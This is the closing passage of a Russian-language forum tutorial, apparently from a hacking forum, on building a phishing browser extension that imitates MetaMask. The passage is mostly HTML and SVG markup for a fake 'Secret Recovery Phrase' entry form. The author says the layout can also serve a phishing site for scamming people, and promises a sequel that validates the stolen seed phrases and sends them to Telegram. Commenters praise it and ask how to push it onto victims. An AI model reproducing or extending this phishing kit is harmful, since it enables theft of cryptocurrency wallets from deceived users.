            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
                <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
                    </svg>
</div><div class="col d-flex align-items-center justify-content-center">
<span>6.</span>
<input type="text" class="form-control w-50">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
        <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
                <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
                    </svg>
</div>
</div>

<div class="row mb-3">
    <div class="col d-flex align-items-center justify-content-center">
        <span>7.</span>
<input type="text" class="form-control w-50">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
        <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
                <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
                    </svg>
</div>
<div class="col d-flex align-items-center justify-content-center">
    <span>8.</span>
<input type="text" class="form-control w-50">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
        <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
                <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
                    </svg>
</div><div class="col d-flex align-items-center justify-content-center">
<span>9.</span>
<input type="text" class="form-control w-50">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
        <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
                <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
                    </svg>
</div>
</div>

<div class="row mb-3">
    <div class="col d-flex align-items-center justify-content-center">
        <span>10.</span>
<input type="text" class="form-control w-50">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
        <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
                <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
                    </svg>
</div>
<div class="col d-flex align-items-center justify-content-center">
    <span>11.</span>
<input type="text" class="form-control w-50">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
        <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
                <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
                    </svg>
</div><div class="col d-flex align-items-center justify-content-center">
<span>12.</span>
<input type="text" class="form-control w-50">
    <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="currentColor" class="bi bi-eye-slash" viewBox="0 0 16 16">
        <path d="M13.359 11.238C15.06 9.72 16 8 16 8s-3-5.5-8-5.5a7.028 7.028 0 0 0-2.79.588l.77.771A5.944 5.944 0 0 1 8 3.5c2.12 0 3.879 1.168 5.168 2.457A13.134 13.134 0 0 1 14.828 8c-.058.087-.122.183-.195.288-.335.48-.83 1.12-1.465 1.755-.165.165-.337.328-.517.486l.708.709z"/>
            <path d="M11.297 9.176a3.5 3.5 0 0 0-4.474-4.474l.823.823a2.5 2.5 0 0 1 2.829 2.829l.822.822zm-2.943 1.299.822.822a3.5 3.5 0 0 1-4.474-4.474l.823.823a2.5 2.5 0 0 0 2.829 2.829z"/>
                <path d="M3.35 5.47c-.18.16-.353.322-.518.487A13.134 13.134 0 0 0 1.172 8l.195.288c.335.48.83 1.12 1.465 1.755C4.121 11.332 5.881 12.5 8 12.5c.716 0 1.39-.133 2.02-.36l.77.772A7.029 7.029 0 0 1 8 13.5C3 13.5 0 8 0 8s.939-1.721 2.641-3.238l.708.709zm10.296 8.884-12-12 .708-.708 12 12-.708.708z"/>
                    </svg>
</div>
</div>

Синяя кнопка. Последнее

Возьмем у бутстрапа готовую кнопочку и поменяем в ней текст на "Confirm Secret Recovery Phrase"

HTML:

<button type="button" class="btn btn-primary">Primary</button>

Добавим аттрибут для кнопки disabled чтоб на нее нельзя было нажать так как сид фраза не введена и не провалидирована. Так же добавим класс btn-lg чтоб сделать кнопку больше. Класс rounded-5 закруглит края.
Вышло вот так

Код:

HTML:

<button disabled type="button" class="btn btn-primary rounded-5 btn-lg">Confirm Secret Recovery Phrase</button>

Итог
Мы с вами сделали верстку фишинг расширения метамаска. Саму верстку верстку можно использовать не только в виде расширения но и на фишинг сайте, кому как удобнее наебывать народ

В следующей части мы сделаем:

возможность вставлять seed фразу ctrl+v и слова будут распределеться отдельно в каждую ячейку
проверка сид фразы на валид
отправка seed фразы (лога) в Telegram.

Всем большое спасибо, я честно очень постарался все разжевать и сделать качественно, пишите ваши комментарии по доработке или чего не хватило в статье что улучшить и т.д. Кому было интересно ждите вторую часть скоро будет.

anonymuz_hackr · 21.07.2023

спасибо за обмен информацией

Benneton · 21.07.2023

Статья хорошая, ждем статью о том как это впарить жертвам)

Peace · 21.07.2023

Прекрасно, спасибо, что делишься ценной информацией и своим опытом!

TR77 · 21.07.2023

anonymuz_hackr сказал(а):

спасибо за обмен информацией

Peace сказал(а):

Прекрасно, спасибо, что делишься ценной информацией и своим опытом!

Benneton сказал(а):

Статья хорошая, ждем статью о том как это впарить жертвам)

expert_kalash · 15.09.2023

Статья хорошая, только что делать дальше с нераспакованным расширением. Не пройдет модерацию в магазин хрома. Инсталлера расширения никто так и не сделал.

Статья Фишинг расширение Metamask. Пи#дим и проверяем сидку на валид. Часть первая - верстка.

TR77

HDD-drive

chrome-extensions-samples/functional-samples/tutorial.hello-world at main · GoogleChrome/chrome-extensions-samples

Вложения

anonymuz_hackr

CD-диск

Benneton

RAM

Peace

(L3) cache

TR77

HDD-drive

expert_kalash

Художник